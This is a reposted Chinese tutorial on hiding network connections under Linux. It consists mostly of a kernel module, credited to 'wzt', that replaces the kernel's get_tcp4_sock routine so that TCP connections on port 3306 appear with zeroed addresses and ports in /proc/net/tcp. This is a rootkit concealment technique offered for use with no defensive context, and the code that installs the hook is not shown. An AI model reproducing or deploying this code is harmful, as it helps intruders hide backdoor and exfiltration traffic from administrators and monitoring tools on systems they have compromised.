广告
返回顶部
首页 > 资讯 > 操作系统 >Linux下怎么隐藏网络连接
  • 264
分享到

Linux下怎么隐藏网络连接

2023-06-17 01:06:46 264人浏览 薄情痞子
摘要

本篇内容介绍了“linux下怎么隐藏网络连接”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!直接inline hook住get_tcp4_so

本篇内容介绍了“linux下怎么隐藏网络连接”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

直接inline hook住get_tcp4_sock这个函数就行了,只不过需要重新实现下get_tcp4_sock的功能,在作下过滤。比较简单,代码如下:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/file.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/Socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/termbits.h>
#include <asm/ioctls.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

__u32 wnps_in_aton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}

return(htonl(l));
}

void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
{
int timer_active;
unsigned long timer_expires;
struct tcp_sock *tp = tcp_sk(sk);
const struct inet_connection_sock *icsk = inet_csk(sk);
struct inet_sock *inet = inet_sk(sk);
__be32 dest = inet->daddr;
__be32 src = inet->rcv_saddr;
__u16 destp = ntohs(inet->dport);
__u16 srcp = ntohs(inet->sport);

printk("!! in new_get_tcp4_sock.\n");

if (icsk->icsk_pending == ICSK_TIME_RETRANS) {
timer_active    = 1;
timer_expires   = icsk->icsk_timeout;
} else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
timer_active    = 4;
timer_expires   = icsk->icsk_timeout;
} else if (timer_pending(&sk->sk_timer)) {
timer_active    = 2;
timer_expires   = sk->sk_timer.expires;
} else {
timer_active    = 0;
timer_expires = jiffies;
}


if (srcp == 3306 || destp == 3306) {
printk("Got 3306!\n");
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
0, 0, 0, 0, 0, 0,
tp->write_seq - tp->snd_una,
sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
(tp->rcv_nxt - tp->copied_seq),
timer_active,
jiffies_to_clock_t(timer_expires - jiffies),
icsk->icsk_retransmits,
sock_i_uid(sk),
icsk->icsk_probes_out,
sock_i_ino(sk),
atomic_read(&sk->sk_refcnt), sk,
jiffies_to_clock_t(icsk->icsk_rto),
jiffies_to_clock_t(icsk->icsk_ack.ato),
(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
tp->snd_cwnd,
tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
len);

}
else {
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
i, src, srcp, dest, destp, sk->sk_state,
tp->write_seq - tp->snd_una,
sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
(tp->rcv_nxt - tp->copied_seq),
timer_active,
jiffies_to_clock_t(timer_expires - jiffies),
icsk->icsk_retransmits,
sock_i_uid(sk),
icsk->icsk_probes_out,
sock_i_ino(sk),
atomic_read(&sk->sk_refcnt), sk,
jiffies_to_clock_t(icsk->icsk_rto),
jiffies_to_clock_t(icsk->icsk_ack.ato),
(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
tp->snd_cwnd,
tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
len);
}
}

“Linux下怎么隐藏网络连接”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站,小编将为大家输出更多高质量的实用文章!

--结束END--

本文标题: Linux下怎么隐藏网络连接

本文链接: https://www.lsjlt.com/news/286733.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Linux下怎么隐藏网络连接
    本篇内容介绍了“Linux下怎么隐藏网络连接”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!直接inline hook住get_tcp4_so...
    99+
    2023-06-17
  • 隐藏网络怎么连接?Win8.1系统连接隐藏SSID网络的方法图解
    最近发现家中无线网络经常会莫名的变慢,有时候还会掉线,经过一番原因查找,发现原来无线网络密码被破解,被他人免费蹭网所致。出于职业的密码,立即修改了无线密码,并加强了无线安全设置,隐藏了SSID。问题来了,路...
    99+
    2022-06-04
    网络 方法 系统
  • Win8.1怎么连接隐藏SSID网络从而无线联网
      最近发现家中无线网络经常会莫名的变慢,有时候还会掉线,经过一番原因查找,发现原来无线网络密码被破解,被他人免费蹭网所致。出于职业的密码,立即修改了无线密码,并加强了无线安全设置,隐藏了SSID。问题来了...
    99+
    2022-06-04
    网络 SSID
  • 笔记本电脑如何连接隐藏网络
    小编给大家分享一下笔记本电脑如何连接隐藏网络,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!右击桌面上的网络图标,选择属性。在打开的网络和共享中心页面中,点击更改网...
    99+
    2023-06-28
  • win10怎么连接隐藏wifi
    本文小编为大家详细介绍“win10怎么连接隐藏wifi”,内容详细,步骤清晰,细节处理妥当,希望这篇“win10怎么连接隐藏wifi”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。首先右击桌面右下角的网络图标,然后...
    99+
    2023-07-02
  • 如何连接win8系统隐藏ssid无线网络
    小编给大家分享一下如何连接win8系统隐藏ssid无线网络,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!首先可以直接点击win8桌面右下角任务栏中的“无线”图标。...
    99+
    2023-06-28
  • Win8.1系统下如何连接隐藏SSID网络默认是找不到的
      SSID,Service Set Identifier的缩写,是一种无线网络中的专业术语。在无线路由器设置中,SSID广播就是设置Wifi无线网络名称。为了防止无线网络密码被破解,很多朋友会修改路由器隐...
    99+
    2022-06-04
    找不到 系统 网络
  • Windows7系统如何连接隐藏SSID的无线网络
      本文将教大家如何连接Windows 7系统隐藏SSID的无线网络   首先我们点击电脑右下角的无线标志,有个“其他网络”选项,我们点击“其他网络”选项,点击&ldquo...
    99+
    2023-06-05
    win7 SSID 无线网络 Windows7 系统
  • linux怎么开启网络连接
    在Linux系统中,开启网络连接有多种方法,下面是其中两种常见的方法:1. 命令行方式:- 打开终端(命令行界面)。- 输入以下命令...
    99+
    2023-09-22
    Linux
  • Broadcom网卡linux系统下无法连接到网络怎么办
    这篇文章主要介绍了Broadcom网卡linux系统下无法连接到网络怎么办,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。正题开始:首先查看你的网卡型号,在终端输入命令lspc...
    99+
    2023-06-13
  • linux怎么查看网络连接信息
    在Linux上查看网络连接信息可以使用以下命令:1. `ifconfig`:用于查看网络接口的配置和状态信息。2. `ip addr...
    99+
    2023-10-10
    linux
  • Linux系统怎么检查网络连接
    这篇文章主要介绍Linux系统怎么检查网络连接,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!ifquery 命令一个非常有用的命令是 ifquery。这个命令应该会显示一个网络接口列表。但是,你可能只会看到类似这样的...
    99+
    2023-06-28
  • 搜索不到无线路由的SSIDWin7如何连接隐藏SSID无线网络
      这篇Win7系统下连接隐藏的SSID无线网络的方法分享给大家,现在的无线网络无处不在,一些无线路由器已经被广泛应用于家庭和各大中型企业中,方便上网,不过有些时候用户会将无线路由的SSID隐藏掉,这样别人就搜索不到,不...
    99+
    2023-06-07
    Win7 SSID 无线网 路由 无线网络
  • Linux下如何配置Docker容器间网络连接
    本篇内容主要讲解“Linux下如何配置Docker容器间网络连接”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux下如何配置Docker容器间网络连接”吧!Docker容器都是独立的,互相...
    99+
    2023-06-12
  • Win8下手机无法连接Wifi网络怎么办
    现在的智能手机越来越普及了,使用智能手机来刷微博,摇微信的朋友也是越来越多,使用手机来上网,使用Wifi是必不可少的,不但可以节约费用,还可以享用高速的宽带。但是有时候会出现手机无法正常连接Wifi网络的情...
    99+
    2022-06-04
    手机 网络 Wifi
  • 怎么连云服务器网络连接
    连云服务器网络连接可能涉及多种问题,以下是一些常见的问题和解决方法: 连接失败:可能是因为用户尝试连接到服务器的端口已经用完了,或者是网络连接出现了问题。这时候可以尝试重新启动服务器或者联系网络管理员进行修复。 服务器故障:服务器故障可...
    99+
    2023-10-27
    服务器 网络
  • linux下c语言怎么隐藏进程命令行参数
    这篇文章主要介绍了linux下c语言怎么隐藏进程命令行参数的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇linux下c语言怎么隐藏进程命令行参数文章都会有所收获,下面我们一起来...
    99+
    2022-10-19
  • win7网络连接怎么优化
    这篇“win7网络连接怎么优化”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“win7网络连接怎么优化”文章吧。win7网络连...
    99+
    2023-07-01
  • WinXP系统怎么连接网络?
    尽管微软已经停止对WinXP系统提供修补和升级,但仍有大量消费者继续使用它。有WinXP系统客户跟我体现自身上不了网互联网了,这应该怎么办?碰到问题别着急,下边咱们就一起来看看WinXP网络连接的实例教程。详尽设定流程如下所示:桌面上寻找网...
    99+
    2023-07-16
  • win10怎么设置网络连接
    在Windows 10中设置网络连接,你可以按照以下步骤操作:1. 点击Windows开始菜单,然后点击“设置”图标(齿轮形状)。2...
    99+
    2023-08-31
    win10
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作